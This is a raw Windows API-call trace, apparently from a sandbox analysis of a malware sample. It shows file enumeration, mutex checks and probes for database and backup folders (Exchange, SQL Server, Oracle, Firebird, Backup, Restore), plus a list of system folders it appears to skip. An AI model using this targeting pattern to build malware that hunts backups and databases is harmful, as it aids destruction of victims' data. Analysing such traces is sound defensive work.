ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0050.190] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.190] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.191] GlobalLock (hMem=0x440004) returned 0x550170 [0050.191] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.191] GlobalUnlock (hMem=0x440004) returned 0 [0050.191] GlobalLock (hMem=0x440004) returned 0x550170 [0050.191] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.191] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.191] GlobalUnlock (hMem=0x440004) returned 0 [0050.191] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.191] GlobalUnlock (hMem=0x44000c) returned 0 [0050.191] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.191] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0050.191] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.191] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.191] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.191] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.191] GlobalUnlock (hMem=0x44000c) returned 0 [0050.191] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.191] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.191] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.191] GlobalUnlock (hMem=0x44000c) returned 0 [0050.191] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.191] GlobalUnlock (hMem=0x440004) returned 0 [0050.191] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.191] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0050.191] GetLastError () returned 0x12 [0050.191] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0050.191] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0050.192] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0050.192] GlobalLock (hMem=0x440004) returned 0x550170 [0050.192] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.192] GlobalUnlock (hMem=0x440004) returned 0 [0050.192] GlobalLock (hMem=0x440004) returned 0x550170 [0050.192] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.192] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.192] GlobalUnlock (hMem=0x440004) returned 0 [0050.192] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.192] GlobalUnlock (hMem=0x44000c) returned 0 [0050.192] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.192] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.192] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.192] GlobalUnlock (hMem=0x44000c) returned 0 [0050.192] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.192] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.192] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.192] GlobalUnlock (hMem=0x44000c) returned 0 [0050.192] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.192] GlobalUnlock (hMem=0x440004) returned 0 [0050.192] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.192] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", len=0x37 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned 1 [0050.192] GlobalLock (hMem=0x440004) returned 0x550170 [0050.192] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.192] GlobalUnlock (hMem=0x440004) returned 0 [0050.192] GlobalLock (hMem=0x440004) returned 0x550170 [0050.192] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.193] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.193] GlobalUnlock (hMem=0x440004) returned 0 [0050.193] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.193] GlobalUnlock (hMem=0x44000c) returned 0 [0050.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@↰RↄR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.193] GetLastError () returned 0x3 [0050.193] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0050.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@℔R企@\x18㿬Q\x181")) returned 0xffffffff [0050.194] GetLastError () returned 0x2 [0050.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0050.194] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@坜U企@\x18?T\x18;")) returned 0xffffffff [0050.194] GetLastError () returned 0x2 [0050.194] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.194] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0050.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0050.195] GetLastError () returned 0x2 [0050.195] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.195] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0050.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@℔R企@\x18坜U\x18j")) returned 0xffffffff [0050.195] GetLastError () returned 0x2 [0050.196] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0050.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0050.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0050.196] GetLastError () returned 0x2 [0050.196] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\坘UP") returned 6 [0050.196] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0050.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18?T\x18y")) returned 0xffffffff [0050.197] GetLastError () returned 0x2 [0050.197] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.197] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.197] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0050.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@℔R企@\x18?T\x18\x81")) returned 0xffffffff [0050.197] GetLastError () returned 0x2 [0050.197] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.197] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.197] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0050.197] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0050.198] GetLastError () returned 0x2 [0050.198] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0050.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@ꠜR企@\x18?T\x18\x8f")) returned 0xffffffff [0050.198] GetLastError () returned 0x2 [0050.198] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.198] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0050.199] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@℔R企@\x18?T\x18\x97")) returned 0xffffffff [0050.199] GetLastError () returned 0x2 [0050.199] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.199] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.199] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.199] GlobalUnlock (hMem=0x44000c) returned 0 [0050.199] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.199] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.199] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.199] GlobalUnlock (hMem=0x44000c) returned 0 [0050.199] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.199] GlobalUnlock (hMem=0x440004) returned 0 [0050.199] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.199] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.200] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.200] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0050.200] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.200] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0050.200] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.200] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e10, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0050.200] GlobalLock (hMem=0x440004) returned 0x550170 [0050.200] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.200] GlobalUnlock (hMem=0x440004) returned 0 [0050.200] GlobalLock (hMem=0x440004) returned 0x550170 [0050.200] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.200] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.200] GlobalUnlock (hMem=0x440004) returned 0 [0050.200] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.200] GlobalUnlock (hMem=0x44000c) returned 0 [0050.201] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0050.201] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0050.201] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0050.201] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0050.201] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0050.202] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, 